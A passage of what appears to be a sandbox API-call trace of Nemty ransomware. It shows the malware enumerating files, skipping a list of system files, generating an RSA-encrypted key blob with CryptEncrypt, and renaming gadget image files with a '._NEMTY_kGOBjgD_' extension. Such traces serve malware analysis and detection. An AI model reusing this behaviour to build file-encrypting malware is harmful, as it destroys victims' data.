lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.672] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0128.703] CloseHandle (hObject=0xffffffff) returned 0 [0128.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0128.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0128.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0128.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0128.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0128.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340478 [0128.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0128.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0128.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_over.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_over.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_over.png._nemty_kgobjgd_")) returned 0 [0128.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0128.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0128.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0128.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0128.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0128.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0128.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0128.704] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8634c51d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8634c51d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a59e75, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="delete_up.png", cAlternateFileName="")) returned 1 [0128.704] lstrcmpiW (lpString1="delete_up.png", lpString2=".") returned 1 [0128.704] lstrcmpiW (lpString1="delete_up.png", lpString2="..") returned 1 [0128.704] lstrcmpiW (lpString1="delete_up.png", lpString2="...") returned 1 [0128.704] lstrcmpiW (lpString1="delete_up.png", lpString2="windows") returned -1 [0128.704] lstrcmpiW (lpString1="delete_up.png", lpString2="$RECYCLE.BIN") returned 1 [0128.704] lstrcmpiW (lpString1="delete_up.png", lpString2="rsa") returned -1 [0128.704] lstrcmpiW (lpString1="delete_up.png", lpString2="NTDETECT.COM") returned -1 [0128.704] lstrcmpiW (lpString1="delete_up.png", lpString2="ntldr") returned -1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="MSDOS.SYS") returned -1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="IO.SYS") returned -1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="boot.ini") returned 1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="boot.ini") returned 1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="AUTOEXEC.BAT") returned 1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="ntuser.dat") returned -1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="desktop.ini") returned -1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="CONFIG.SYS") returned 1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="RECYCLER") returned -1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="BOOTSECT.BAK") returned 1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="bootmgr") returned 1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="programdata") returned -1 [0128.705] lstrcmpiW (lpString1="delete_up.png", lpString2="appdata") returned 1 [0128.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_up.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0128.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_up.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete_up.png", lpUsedDefaultChar=0x0) returned 13 [0128.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_up.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0128.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_up.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete_up.png", lpUsedDefaultChar=0x0) returned 13 [0128.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_up.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0128.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_up.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete_up.png", lpUsedDefaultChar=0x0) returned 13 [0128.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_up.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0128.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_up.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete_up.png", lpUsedDefaultChar=0x0) returned 13 [0128.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0128.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0128.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0128.705] Sleep (dwMilliseconds=0x5) [0128.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x5db5d0, dwHighDateTime=0x1d561e8)) [0128.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x5db5d0, dwHighDateTime=0x1d561e8)) [0128.713] GetLastError () returned 0x5 [0128.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0128.713] GetLastError () returned 0x5 [0128.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0128.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.714] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0128.714] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0128.714] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0128.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0128.714] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="OzI7dOoKvL0yXc3Zykq9EpczNGCgovDelVRU6xmFEipXjw5O61XZCzg3sp0Jzreh\r\nx7KrRp2mZxnM8chXMkDfA1ZWa9sJbt1nL8//H566l96PymML0dN4IuU6woTC0kw7\r\nahHWN6oJmg1iSAxQUjyh8BgMS+4K0mbmo/wynghKCf/oy93kgIXUMWwMLkVV6lMD\r\nX0NweWNPL1spJmOZXf0z7cEEUUAqbqPdd5UtBEjJv8injMh8bFc0czBgWOzaAvBN\r\nnsxPqVJfW0mDSNyk6DYbPNuMMtVkjM5lppJbIFWU4xdLL3gThNdtdj/YW8/LgLks\r\nzPIjUyUhYqfv/mhb5YCaVQ==\r\n", pcchString=0x653e91c) returned 1 [0128.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0128.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0128.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0128.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0128.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0128.714] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.715] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0128.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0128.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.715] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.724] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.724] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.768] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.768] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.768] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.768] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.777] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, 